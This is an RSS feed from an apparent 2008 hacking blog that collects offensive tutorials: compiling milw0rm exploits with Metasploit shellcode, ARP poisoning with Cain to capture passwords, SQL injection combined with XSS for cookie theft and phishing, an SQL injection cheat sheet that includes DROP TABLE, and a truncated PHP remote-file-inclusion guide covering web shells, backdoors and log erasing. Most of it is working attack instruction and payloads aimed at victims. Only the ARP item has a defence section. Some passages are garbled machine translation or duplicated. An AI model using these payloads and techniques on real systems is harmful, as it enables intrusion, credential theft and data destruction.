<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet href="http://rss.egloos.com/style/blog.xsl" type="text/xsl" media="screen"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
	<title>Wireless Security. Let's make security K.O.R.E.A</title>
	<link>http://r3dr0ot.egloos.com</link>
	<description>W3b h4ckin9,W@rdrivin9</description>
	<language>ko</language>
	<pubDate>Tue, 26 Feb 2008 06:02:20 GMT</pubDate>
	<generator>Egloos</generator>
	<image>
		<title>Wireless Security. Let's make security K.O.R.E.A</title>
		<url>http://pds8.egloos.com/logo/200804/07/27/f0011927.png</url>
		<link>http://r3dr0ot.egloos.com</link>
		<width>80</width>
		<height>80</height>
		<description>W3b h4ckin9,W@rdrivin9</description>
	</image>
  	<item>
		<title><![CDATA[ Using exploits. (Includes n00b protection) ]]> </title>
		<link>http://r3dr0ot.egloos.com/103286</link>
		<guid>http://r3dr0ot.egloos.com/103286</guid>
		<description>
			<![CDATA[ 
  ###############<br># Yes, Yes nooby, stfu if you think you are better than this level, everyone went thro this stage, and some had to learn this tha hard #way by getting flamed on forums. this should spare them that flame :)<br><br>I will discuss ways to handle and compile exploits. Alot of exploits come with "noob protection". Noob protection being they will move or add sections of text or scramble a simple statement so people immediatly know that it shouldnt be that way. This protects against skiddies and noobs from getting and running the exploit. I will show you how to compile exploits with Dev C++ and run perl and php scripts. I will also include the entire remote library from milw0rm compiled in complete.<br><br>Downloads: dev c++, perl (win), perl (source), openSSL (win)<br><br>WSAStartup<br>Quote:<br>[linker error] undefined reference to `WSAStartup@8'<br>[linker error] undefined reference to `socket@12'<br><br>Open dev c++ options <br><br><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" alt="DarkMindZ" src="http://i19.tinypic.com/33ldmy1.png"><br><br>in the main window will be a checkbox that says "Add the following commands when calling the compiler" type this in the box -lwsock32 <br><br><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" alt="DarkMindZ" src="http://i11.tinypic.com/2n20jkg.png"><br><br><br><br>press ok and compile again.<br>----<br><br>Using Shellcodes<br>you can generate shellcodes for metasploits projects with ease. here is one i made for this post <br><br><div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><br><span style="FONT-FAMILY: Courier New">/* win32_exec - EXITFUNC=seh CMD=shutdown -f -s Size=168 Encoder=PexFnstenvSub http://metasploit.com */<br>unsigned char scode[] =<br>"x31xc9x83xe9xdcxd9xeexd9x74x24xf4x5bx81x73x13xec"<br>"x94x52x85x83xebxfcxe2xf4x10x7cx16x85xecx94xd9xc0"<br>"xd0x1fx2ex80x94x95xbdx0exa3x8cxd9xdaxccx95xb9xcc"<br>"x67xa0xd9x84x02xa5x92x1cx40x10x92xf1xebx55x98x88"<br>"xedx56xb9x71xd7xc0x76x81x99x71xd9xdaxc8x95xb9xe3"<br>"x67x98x19x0exb3x88x53x6ex67x88xd9x84x07x1dx0exa1"<br>"xe8x57x63x45x88x1fx12xb5x69x54x2ax89x67xd4x5ex0e"<br>"x9cx88xffx0ex84x9cxb9x8cx67x14xe2x85xecx94xd9xed"<br>"xd0xcbx63x73x8cxc2xdbx7dx6fx54x29xd5x84x64xd8x81"<br>"xb3xfcxcax7bx66x9ax05x7ax0bxe7x3axf0x98xf0x3dxf2"<br>"x82xb4x7fxe3xccxb9x21x85";<br><br><br><br></span></code></div><br><br><br>you can use that code and replace the shellcode in any exploit that uses the shellcode. You can generate new shellcodes here: http://metasploit.com:55555/PAYLOADS First, select the payload you wish to use. <br><br><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" alt="DarkMindZ" src="http://i17.tinypic.com/2w3t9oy.png"><br><br>then type the command you want it to execute, then press "generate payload"<br><br><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" alt="DarkMindZ" src="http://i17.tinypic.com/2a0c11z.png"><br><br><br>PostPosted: Fri Dec 28, 2007 4:46 pm Reply with quoteBack to top<br>I will discuss ways to handle and compile exploits. Alot of exploits come with "noob protection". Noob protection being they will move or add sections of text or scramble a simple statement so people immediatly know that it shouldnt be that way. This protects against skiddies and noobs from getting and running the exploit. I will show you how to compile exploits with Dev C++ and run perl and php scripts. I will also include the entire remote library from milw0rm compiled in complete.<br><br>Downloads: dev c++, perl (win), perl (source), openSSL (win)<br><br>WSAStartup<br>Quote:<br>[linker error] undefined reference to `WSAStartup@8'<br>[linker error] undefined reference to `socket@12'<br><br>Open dev c++ options<br><br>Image<br><br>in the main window will be a checkbox that says "Add the following commands when calling the compiler" type this in the box -lwsock32<br><br>Image<br><br>press ok and compile again.<br>----<br><br>Using Shellcodes<br>you can generate shellcodes for metasploits projects with ease. here is one i made for this post<br>Code:<br>/* win32_exec - EXITFUNC=seh CMD=shutdown -f -s Size=168 Encoder=PexFnstenvSub http://metasploit.com */<br>unsigned char scode[] =<br>"x31xc9x83xe9xdcxd9xeexd9x74x24xf4x5bx81x73x13xec"<br>"x94x52x85x83xebxfcxe2xf4x10x7cx16x85xecx94xd9xc0"<br>"xd0x1fx2ex80x94x95xbdx0exa3x8cxd9xdaxccx95xb9xcc"<br>"x67xa0xd9x84x02xa5x92x1cx40x10x92xf1xebx55x98x88"<br>"xedx56xb9x71xd7xc0x76x81x99x71xd9xdaxc8x95xb9xe3"<br>"x67x98x19x0exb3x88x53x6ex67x88xd9x84x07x1dx0exa1"<br>"xe8x57x63x45x88x1fx12xb5x69x54x2ax89x67xd4x5ex0e"<br>"x9cx88xffx0ex84x9cxb9x8cx67x14xe2x85xecx94xd9xed"<br>"xd0xcbx63x73x8cxc2xdbx7dx6fx54x29xd5x84x64xd8x81"<br>"xb3xfcxcax7bx66x9ax05x7ax0bxe7x3axf0x98xf0x3dxf2"<br>"x82xb4x7fxe3xccxb9x21x85";<br><br><br>you can use that code and replace the shellcode in any exploit that uses the shellcode. You can generate new shellcodes here: http://metasploit.com:55555/PAYLOADS First, select the payload you wish to use.<br><br>Image<br><br>then type the command you want it to execute, then press "generate payload"<br><br>Image<br><br>your shellcode should be printed out nicely for you.<br>- - -<br><br>Perl Exploits<br>If your using windows install this msi package. Lets use an example perl script from milw0rm. http://www.milw0rm.com/exploits/3661<br><br>save that exploit to your c: drive as a file called "3661.pl". This exploit justs generates an HTML file exploit, "exploit.html". Its that simple. But some exploits require you to have SSL installed. so you can grab that for windows at the top of this post with the other downloads. Some exploits may require you to pass "arguments" to the application, like this epxloit.<br><br>uh oh, noob protection?<br><br><div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><br><span style="FONT-FAMILY: Courier New">syntax error at C:2552.pl line 47, near "print"<br>Execution of C:2552.pl aborted due to compilation errors.<br><br><br><br></span></code></div><br><br><br>well instantly i see the end of the line $vul=" is on has no ";" at the end of it. Put that in there so it looks like this<br><br><div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><br><span style="FONT-FAMILY: Courier New">$host=$ARGV[0];<br>$path=$ARGV[1];<br>$vul="phpbb_security.php?phpbb_root_path=";<br><br><br><br></span></code></div><br><br>now save it and try again. YAY<br><br><div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><br><span style="FONT-FAMILY: Courier New">C:&gt;2552.pl<br><br>################################################## ########################<br># #<br># phpBB Security &lt;= 1.0.1 Remote File Include Vulnerability #<br># Bug found By : Ashiyane Corporation #<br># Email: nima salehi nima[at]ashiyane.ir #<br># Web Site : www.Ashiyane.ir #<br># #<br>################################################## ########################<br><br>Usage: Ashiyane.pl [host] [path]<br><br><br><br></span></code></div><br>EX : Ashiyane.pl www.victim.com /path/<br>			 ]]> 
		</description>
		<category>→Penetration Test</category>

		<comments>http://r3dr0ot.egloos.com/103286#comments</comments>
		<pubDate>Tue, 26 Feb 2008 06:02:20 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ ARP Poisoning and Cain  ]]> </title>
		<link>http://r3dr0ot.egloos.com/84611</link>
		<guid>http://r3dr0ot.egloos.com/84611</guid>
		<description>
			<![CDATA[ 
  Right then, it's time to get down to work! Today's post will focus on a useful little attack vector called <span style="COLOR: #3366ff">ARP<br>Poisoning</span> (Or ARP Cache Poisoning for the sticklers).<br><br><span style="COLOR: #3366ff">What is ARP?<br></span><br>The <span style="COLOR: #3366ff">Address Resolution Protocol</span> (ARP for short) is how network devices associate MAC addresses with I.P addresses so<br>that devices on the local network can find each other. ARP is basically a form of networking roll call.<br><br>ARP, a very simple protocol, consists of merely four basic message types:<br><br>1. An ARP Request. Computer A asks the network, <span style="COLOR: #3366ff">"Who has this IP address?"<br></span>2. An ARP Reply. Computer B tells Computer A, <span style="COLOR: #3366ff">"I have that IP. My MAC address is [whatever it is]."<br></span>3. A Reverse ARP Request (RARP). Same concept as ARP Request, but Computer A asks, <span style="COLOR: #3366ff">"Who has this MAC<br>address?"<br></span>4. A RARP Reply. Computer B tells Computer A,<span style="COLOR: #3366ff">"I have that MAC. My IP address is [whatever it is]"<br></span><br>All network devices have an ARP table, a short-term memory of all the IP addresses and MAC addresses the device has<br>already matched together. The ARP table ensures that the device doesn't have to repeat ARP Requests for devices it<br>has already communicated with.<br><br>Here's a basic example of a typical ARP process:<br><br><br>I want to print this article for a friend who's downstairs in the kitchen. In the kitchen there is a networked<br>printer with the i.p of 192.168.0.6. My computer has the i.p of 192.168.0.3.<br><br>So my computer broadcasts an ARP request to the entire network asking who has the i.p 192.168.0.6? All the computers<br>that don't have this i.p simply ignore this request but the printer who has the correct i.p wakes up and sends an<br>ARP reply saying "Hey! I'm 192.168.0.6 and my MAC address is FF:FF:FF:FF:FF:FF!".<br><br>Now my computer knows the printer's MAC address, it sends the file to be printed to the correct printer and<br>associates the printer's MAC address with the printer's i.p address in it's ARP table.<br><br>The one problem with ARP is that it's very trusting so it assumes that the computer who gives the i.p address and<br>the MAC address is the real computer. There's no verification. This was probably done to simplify networking at the<br>start but as you're about to see, it leave some very big security holes...<br><br><br>The Attack:<br><br>Since I'm using windows xp (windows haters don't kill me, I use linux on a regular basis), I'm going to<br>use a very clever program called Cain. You can download this program from www.oxid.it free of charge!<br><br>Some people use this tool and have no idea how it actually works and that's why I wrote this article, so you at<br>least know what it's doing!<br><br>So I'll fire up Cain:<br><br>(IMG:http://img155.imageshack.us/img155/3742/cainsd8.jpg)<br><br><br>(If this is too small then I've hosted it on imageshack at http://img155.imageshack.us/my.php?image=cainsd8.jpg)<br><br>Right so as you can (hopefully) see, I've fired up Cain, I've started up the sniffer (the little network card<br>icon at the top left) and I've started ARP (little radioactive symbol next to the sniffer).<br><br>Of course before you can do that, you need to scan your hosts, so click on the little hosts tab and you'll see<br>something like this:<br><br>(IMG:http://img138.imageshack.us/img138/8838/hostsfs1.jpg)<br><br><br>(If it's too small then go to imageshack at http://img138.imageshack.us/my.php?image=hostsfs1.jpg)<br><br>So, as you can see, the hosts list is empty! How to solve this? Right click and you'll see an option "Scan Mac<br>Addresses" . Select that and you'll see a form<br><br><br>(like http://img147.imageshack.us/my.php?image=scangn7.jpg).<br><br>Use the default of "Scan all hosts in my subnet" and you'll see a list of computer names, i.p addresses<br>and MAC addresses come up.<br><br>From there, go back into the ARP tab and at the top you should see a little plus sign click on it to get something like<br><br><br>(IMG:http://img218.imageshack.us/img218/9823/arpgt2.jpg)<br><br><br><br><br>I've taken my hack lab's router i.p and then on the right, all the i.p's that it associates!<br><br>Be careful with this as if you take the router, you must be able to forward ports otherwise the computers can't<br>communicated and then in a couple of clicks you've taken down their internet access and their network access.<br>It's pretty overt.<br><br>Anyway, back on topic.<br><br>Cain starts poisoning and you get something like: (http://img144.imageshack.us/my.php?image=poisonsm5.jpg) and yeah for<br>some reason it's overlapping. No big deal.<br><br><br>(IMG:http://img144.imageshack.us/img144/403/poisonsm5.jpg)<br><br><br>As you see it says that it's full routing. If you get half routing at first, that's normal.<br><br>Now, this is where it gets exciting!<br><br>Cain has yet another lovely feature, in which it picks up passwords from the traffic going through. So I'm going to<br>go to a email site and type in some made up credentials and we'll see what Cain picks up on.<br><br>So basically I created an account for this article and am going to log into that account on another computer.<br><br>(IMG:http://img72.imageshack.us/img72/2695/successpg8.jpg)<br><br><br><br>As you can see, there are two passwords that have come up! Of course the accounts aren't real but if they were I<br>would have full access.<br><br>This also works with FTP accounts, pop3 accounts, well just take a look in the options!<br><br>It shows how dangerous a simple attack can be. As it doesn't affect just the network, it can affect all of your<br>internet details too.<br><br><br>The Defense:<br>Scared? Good, Now Calm Down!<br><br>This is scary stuff. ARP Cache Poisoning is trivial to exploit yet it can result in very significant network compromise.<br>However, before you jump to Defcon-7, notice the major mitigating factor: only local attackers can exploit ARP's<br>insecurities. A hacker would need either physical access to your network, or control of a machine on your local network,<br>in order to deliver an ARP Cache Poisoning attack. ARP's insecurities can't be exploited remotely.<br><br>That said, hackers have been known to gain local access to networks. Good network administrators should be aware of ARP<br>Cache Poisoning techniques.<br><br>Since ARP Cache Poisoning results from a lack of security in a protocol that is required for TCP/IP networking to<br>function, you can't fix it. But you can help prevent ARP attacks using the following techniques.<br><br>For Small Networks<br><br>If you manage a small network, you might try using static IP addresses and static ARP tables. Using CLI commands, such<br>as "ipconfig /all" in Windows or "ifconfig" in 'NIX, you can learn the IP address and MAC<br>address of every device in your network. Then using the "arp -s" command, you can add static ARP entries for<br>all your known devices. "Static" means unchanging; this prevents hackers from adding spoofed ARP entries for<br>devices in your network. You can even create a login script that would add these static entries to your PCs as they<br>boot.<br><br>However, static ARP entries are hard to maintain; impossible in large networks. That's because every device you add<br>to your network has to be manually added to your ARP script or entered into each machine's ARP table. But if you<br>manage fewer than two dozen devices, this technique might work for you.<br><br>For Large Networks<br><br>If you manage a large network, research your network switch's "Port Security" features. One "Port<br>Security" feature lets you force your switch to allow only one MAC address for each physical port on the switch.<br>This feature prevents hackers from changing the MAC address of their machine or from trying to map more than one MAC<br>address to their machine. It can often help prevent ARP-based Man-in-the-Middle attacks.<br><br>For All Networks<br><br>Your best defense is understanding ARP Poisoning and monitoring for it. I'd highly recommend deploying an ARP<br>monitoring tool, such as ARPwatch, to alert you when unusual ARP communication occurs. This kind of vigilance is still<br>the greatest weapon against all kinds of attack -- for, as Robert Louis Stevenson wrote, "The cruelest lies are<br>often told in silence."<br><br>I'd like to thank http://www.watchguard.com/ for their defense section as I felt this was well written and it would<br>be redundant for me to write another section.<br><br>The introduction and the attack section was written by me.<br><br>- sas01 <br>			 ]]> 
		</description>

		<comments>http://r3dr0ot.egloos.com/84611#comments</comments>
		<pubDate>Wed, 20 Feb 2008 09:00:19 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ SiXSS attack tutorial  ]]> </title>
		<link>http://r3dr0ot.egloos.com/80313</link>
		<guid>http://r3dr0ot.egloos.com/80313</guid>
		<description>
			<![CDATA[ 
  <span style="COLOR: #3366ff">SiXSS attack tutorial</span><br><br>Author: HecTor<br><br>//Here can be some grammar mistakes, because English isnt my native language. Sorry, and tell me if you find a mistake<br>;)<br><br>[First]<br>This article tells about particularities of the use of such attacks as SQL Injection and XSS (Cross Site Scripting) in<br>one attack - SiXSS.<br>For who is written this article? The Article is for beginner in this area, but expects that there is some<br>knowledgeâ??s beside reader. That is to say, at least general notion about SQL-injection and XSS.<br>Well, do not forget about penal codes and criminal responsibility for your own actions. The author of the article has<br>not responsibility for possible caused damage.<br><br>[How to]<br>Adn <span style="COLOR: #3366ff">what is a SiXSS</span>? I already wrote above, this - joint use two types of the attacks. There can be a question: but why<br>this is necessary? <span style="COLOR: #3366ff">There is SQL-inj, there is XSS</span>, and there are dont need to be combinate!<br><br>But... Many people faced with such thing: fluent searching for of the criticality on web-put does not bring the success.<br>XSS is not seen, minimum of scriptsâ?¦ But! We have found the vulnerable request, removing inquired page<br>from database:<br><br>[vuln_url]<br><span style="COLOR: #3366ff">http://site.net/article.php?article=8</span><br>[/vuln_url]<br><br>Test on SQL injection vulnerability. We shall try so:<br><br>[vuln_url]<br><span style="COLOR: #3366ff">http://site.net/article.php?article=8+AND+1=2/*</span><br>[/vuln_url]<br><br>There is nothing.<br><br>[vuln_url]<br><span style="COLOR: #3366ff">http://site.net/article.php?article=8+AND+1=1/*</span><br>[/vuln_url]<br><br>Itâ??s executed. Its mean â?? this is SQL-injection. Next, hacker tries to pull out necessary given from<br>database. However, what we shall do if no concrete information comparatively database, or database forbids the access to<br>files? Time goes...<br>Right here, comes SiXSS.<br><br>[SQL and XSS]<br>The SQL language, have a UNION operator, which can combinate two requests. I'll try to explain:<br><br>[vuln_url]<br><span style="COLOR: #3366ff">http://site.net/news.php?id=1+union+select+1,DATABASE(),3/*</span><br>[/vuln_url]<br><br>The request select the news with identifier 1, and in this request to select information about this database.<br>However, UNION SELECT enables to show in browser window arbitrarily text. Due to this, just, we and can successfully use<br>SiXSS. In the beginning, certainly, it is necessary to pick up quantity water, since the quantity of fields taken from a<br>database, should be equal to quantity of taken fields after UNION.<br><br>[vuln_url]<br><span style="COLOR: #3366ff">http://site.net/article.php?article=8+union+select+1,2,3/*</span><br>[/vuln_url]<br><br>This can be us to help if UNION is not filtered. We shall introduce javascript through SQL inj. After all, he is<br>displayed in browser, due to particularities UNION SELECT.<br><br>[vuln_url]<br><span style="COLOR: #3366ff">http://site.net/article.php?article=8+union+select+&lt;script&gt;alert("Vulnerability");&lt;/script&gt;/*</span><br>[/vuln_url]<br><br>Here is and alert-window with message â??Vulnerabilityâ??. If we will work with this script, we will get<br>passive XSS criticality - dispatch cookies passed on such reference of the person to us, on sniffer. This was to be<br>proved - now we can work with this vulnerability, like as with a usual XSS.<br><br>[Troubles]<br>Though, all not so simply, this is â??the ideal variantâ?? of â??ideal vulnerabilityâ??. To<br>example, what we going to do, if server have a directive "magic_quotes_ gpc", which filters the quotation<br>marks? This is not a trouble. To avoid this filtering, possible to use coding in HEX, with accompaniment 0x, or ASCII<br>encoding. You can use the some programs, or special script, or facility same MySQL Database or other (the function<br>char() and hex()).<br><br>So, we shall consider that we coded in HEX expression Â«&lt;script&gt;alert (" Vulnerability<br>");&lt;/script&gt;Â». Let's try to substitute this value in vulnerable inquiry:<br><br>[vuln_url]<br><span style="COLOR: #3366ff">http://site.net/article.php?article=8+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E</span><br>[/vuln_url]<br><br>So, we are bypassing the magic_quotes. Now we shall speak â??bad look of URLâ??. They same, as well as at<br>usual passive XSS: the person can not pass to the link (long and not clear URL), or at the person performance javascript<br>is switched-off. We shall begin.<br><br>There is a set of different ways to force a victim to pass under the "poisonous" link without suspicion. I<br>shall tell about one of such ways.<br><br>If you have read some articles about XSS, and use this vulnerability in practice, you must have a notion about that: how<br>to use passive XSS in POST-request. I try to explain. To example, given are sent vulnerable reqest by POST-method.<br>Example: HTML-form:<br><br>[html code]<br><span style="COLOR: #3366ff">&lt;HTML&gt;<br>&lt;BODY ONLOAD="send.submit();"<br>&lt;FORM NAME=send ACTION=xss.php METHOD=POST&gt;<br>&lt;INPUT TYPE=hidden NAME=alert VALUE="&lt;script&gt;alert('XSS');&lt;/script&gt;"&gt;<br>&lt;/FORM&gt;<br>&lt;/BODY&gt;<br>&lt;/HTML&gt;<br></span>[/html code]<br><br>And here is script, with name xss.php:<br><br>[php code]<br><span style="COLOR: #3366ff">&lt;?<br>echo $_POST['alert']<br>?&gt;<br></span>[/php code]<br><br>So, if we shall transmit already known javascript - alert will appear, but in an address line the URL of a vulnerable<br>script donâ??t have any GET parameters. That is, a little suspicious.<br><br>The poisonous link palm off so: write a script which sends reqest to a vulnerable script, and fill it on any host. Then,<br>give the link on such script to victim. And victim, nothing not suspecting, passes on the link. Data, POST are sent<br>inquiry to a vulnerable script. Result - XSS has gone right!<br><br>Thus, it is possible a foreign script and to redirect a victim on the poisonous reference(link) with ours SiXSS.<br>Example: such script on PHP, will be redirect browser to the other page:<br><br>[php code]<br><span style="COLOR: #3366ff">&lt;?<br>header("Location: link")<br>?&gt;<br></span>[/php code]<br><br>Its fine, one more problem behind. But we will return to the JS switch off.<br><br>I have read about one interesting method. Using UNION SELECT, we can bring on page not only javascript, but also - HTML.<br>So, it is possible to fake the page with input of login and password with sending to our script, which will write all<br>data to a file. It is simple fishing. Sounds good, yes?<br><br>[Hacked, yeah =)]<br>Anything "supernew" in article is not present, all the same SQL-inj and XSS. I hope, you have gathered<br>something for yourself from it. If you find any thematic mistakes â?? tell me about this.			 ]]> 
		</description>
		<category>→Penetration Test</category>

		<comments>http://r3dr0ot.egloos.com/80313#comments</comments>
		<pubDate>Mon, 18 Feb 2008 23:31:25 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ Und3r h4ckin9 F0rum lol ]]> </title>
		<link>http://r3dr0ot.egloos.com/79194</link>
		<guid>http://r3dr0ot.egloos.com/79194</guid>
		<description>
			<![CDATA[ 
  <div style="TEXT-ALIGN: center"><a href="http://72.20.10.53/affiliates.dmz"></a><a href="http://72.20.10.53/affiliates.dmz"></div><p></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://72.20.10.53/affiliates.dmz">http://72.20.10.53/affiliates.dmz</a><br><div style="text-align:center"><img class="image_mid" border="0" onmouseover="this.style.cursor='pointer'" alt="" src="http://pds7.egloos.com/pds/200802/18/27/f0011927_47b999672eff0.jpg" width="500" height="264.644351464" onclick="Control.Modal.openDialog(this, event, 'http://pds7.egloos.com/pds/200802/18/27/f0011927_47b999672eff0.jpg');" /></div></p>			 ]]> 
		</description>
		<category>▣r3dr0ot's Profile▣</category>

		<comments>http://r3dr0ot.egloos.com/79194#comments</comments>
		<pubDate>Mon, 18 Feb 2008 14:34:30 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ SQL Quick Reference Revised  ]]> </title>
		<link>http://r3dr0ot.egloos.com/78299</link>
		<guid>http://r3dr0ot.egloos.com/78299</guid>
		<description>
			<![CDATA[ 
  SQL Quick Reference.<br><br>Symbols and Words:<br>' starts new query<br><br>OR: tells it to do what the query is suppose to do OR what you tell it.<br><br>AND: Will only execute if both conditions are true. Might wonder why you would<br>actually want there end to have to evaluate to being true as well. But there is a reason.<br>Which will be in next article.<br><br>backslash' :need it to break up quotes when the admin has programed in double quotes<br><br>/* :comment out rest of query a lot like --. I find it works in combination with<br>the backslash'<br><br>; :end query<br><br><br>' having 1=1-- : If your lucky it will give you an error containing a column name.<br><br>It should be the first it comes across. You get the error because the statement<br><br>should be group by a column HAVING something, that something being a value of some sort letter number whatever. Seeing<br>as <br><br>your missing the group by it will give you an error. If you get a column name next you would want ' group by<br>ColumYouGot<br><br>having 1=1--. That should give you the next column. Next statement would be ' group by colum1,colum2 having 1=1--.<br><br>You can just keep using that syntax until you dont get an error, that would mean you have all the columns.<br><br>What can you do with all that crap? You would insert it into the table useing<br><br>' insert into tablename values(blah,blah,blah,blah); Your going to need the right<br><br>type of data for each of those columns most of which you can tell by the name of it.<br><br>But most of the time there will be at least one you need to check. To do this you<br><br>would do ' union select sum(column) from table name--. This will give you an error in<br><br>converting the value of that column type into an integer. So once ya have all that<br><br>insert the values you want yay.<br>----------------------------------------------------------------------------------------------------<br><br>' or 1=1: most basic injection. Will work maybe 1 in hundred times. It will search for<br><br>the first value that equates to true. In other words the first value that exist.<br>----------------------------------------------------------------------------------------------------<br><br><br>backslash' or 1=1/* does the same thing but is used when there doubleing up quotes. This<br><br>escapes you from the quotes the /* comments out the rest of the query.<br>----------------------------------------------------------------------------------------------------<br><br>' ORDER BY 1--: Used to see how many columns are in a givin table. If you dont get<br><br>an error returned then keep increasing the number by one until you do get an<br><br>error. The number you used right b4 the one you got an error is the number of columns.<br><br>EX: order by 9 gives no error. You then try order by 10 which gives you an error.<br><br>the number of of columns is 9. Also use common sense. If you think its a huge database<br><br>dont start at 1 and increase by one.<br>-----------------------------------------------------------------------------------------------------<br><br>' drop tablename-- This is used to delete and entire table. Never used it. Dont<br><br>be a dick.<br>-----------------------------------------------------------------------------------------------------<br>'union select 1,2,3 from tablename--: with any luck will give you the value of one or more of<br><br>the columns within the table. Has worked a few times.<br>-------------------------------------------------------------------------------------------------------<br><br>' union select min(column) from tablename WHERE value &gt; letter:<br><br>example: union select min(passwd) FROM Passwords WHERE value &gt; a<br><br>What it tries to do is select passwd where the minimum value is greater than<br><br>A and convert it to an integer. The error would produce something like: error<br><br>converting varchar value ants into column type integer. Have had this work once<br><br>but thats about it. Rest of the time it just returned error with just that single<br><br>letter.<br>---------------------------------------------------------------------------------------------------------<br>Well thats it for this one was supposed to be a quick reference. Will get more into<br>it into these commands and what you can do with them in next article along with<br>more advanced commands. Understand that these are in a forms based format. <br>			 ]]> 
		</description>
		<category>→SQL injection</category>

		<comments>http://r3dr0ot.egloos.com/78299#comments</comments>
		<pubDate>Mon, 18 Feb 2008 11:17:38 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ PHP injection - Access Server  ]]> </title>
		<link>http://r3dr0ot.egloos.com/78296</link>
		<guid>http://r3dr0ot.egloos.com/78296</guid>
		<description>
			<![CDATA[ 
  #################<br># Not written by me, but by phAnt0mh4ck3r of h4cky0u, Its not that well written, but sure covers stuff thats need to<br>know.<br>#<br><br>1. What it is?<br>2. As to explore<br>3. Aid of google<br>4. Exploits local<br>5. Erasing Logs<br>6. As to arrange the vulnerability<br>7. Tools<br>8. Commands<br><br><br>-----------------------------------------------------------------------<br><br><br>1. What it is?<br><br>The known vulnerability more as: Remote File Inclusion, or remote Inclusao of archives, bug discovered between 2002 and<br>2003, to put still today many are unaware of it.<br><br>Bugs found sao in its majority, in scripts of php, exists disponiveis thousands for the Internet, every day new bugs of<br>strings sao found and displayed in sites of security, and consecultivamente nao delay very to appear modified thousands<br>of sites, and for coencidencia, 99% of these used scripts php bugados.<br><br>But where this espeficicamente bug, it eh found in funcoes of php, that joined with one script badly written, makes<br>possible inclusao remote of archives, most used sao:<br><br>Main (, Include (, Include_Once (, and others, and generally funcao that it has bug is almost thus:<br><br>main (to $dir. ?file?)<br><br>We go to say that the arkivo that has this funcao if calls index.php, is enough the usuario now<br>in its navigator to type: index.php? dir=cmd &lt; - q sera explained the front more.<br><br>Eh a simple error, but that it has caused great prejudices for the world.<br><br><br>-----------------------------------------------------------------------<br><br><br>2. As to explore<br><br><br>Vitima: Site that you will go to explore the imperfection of php.<br>String: Archives in the site suceptiveis to the attack.<br>Cmd: Script in PHP that in makes possible them to type<br>commands to be incluidos in php.<br>Backdoor: It opens doors in the system for remote connection 'without<br>autentica??o'.<br>Connect Back: It opens a door specifies for conexao between its<br>PC and vitima.<br>Exploit: Program that explores certain imperfection in a system.<br>It has some types of Exploits. Here, we will go<br>to deal only with Place Root Exploits. (they explore<br>imperfections local that they take common users<br>access root - super-user -)<br>Shell: It is an interpretative program of commands that<br>it allows the user to iteragir with the system<br>operational through typed commands.<br>Telnet: We will use for remote connections.<br>Firewall: It is an intelligent barrier between a local net<br>e the Internet, through which it only passes traffic<br>authorized. This traffic is examined by<br>firewall in real time and the election is made of<br>agreement with the rule. ?what it was not express<br>allowed, it is forbidden "<br>root: Super-user. He is admin? has total access to<br>system.<br><br><br>* Strings<br><br>Strings has several available. In this tutorial one, I will go to use stops<br>examples well simple one that is ?index.php? page=?. In annex, the end,<br>several others: P<br><br><br><br>* Syntax<br><br>Former:<br>www.site.com /arquivo.php? data= http://CMD/cmd.gif?&amp;cmd= ls<br><br>^ ^ ^ ^<br>Vitima String CmD command unix<br><br>(P.S.: Without the spaces)<br><br><br><br>* Using the CmD<br><br><br>Cmd = http://www.site.com/cmd.gif?&amp;cmd=<br><br>In the result, it inserts cmd in string.<br>Former: www.site.com/index.php?page=http://www.site.com/cmd.gif?&amp;cmd=<br><br><br>In the CMD:<br><br>sysname: --&gt; Operational system twirling.<br>nodename: --&gt; local Name.<br>release: --&gt; Version of kernel.<br>Script Current User: --&gt; Using for which script is being executed.<br>PHP Version: --&gt; Version of php of the machine<br>User Info: --&gt; Information of user (uid, euid, gid).<br>Current Path: --&gt; current Folder that you are in the server.<br>Server IP: --&gt; IP of the server.<br>Web server: --&gt; Information on the server.<br><br><br><br>* Gaining access to shell<br><br><br>He is the interpreter of commands of the machine. For this, she 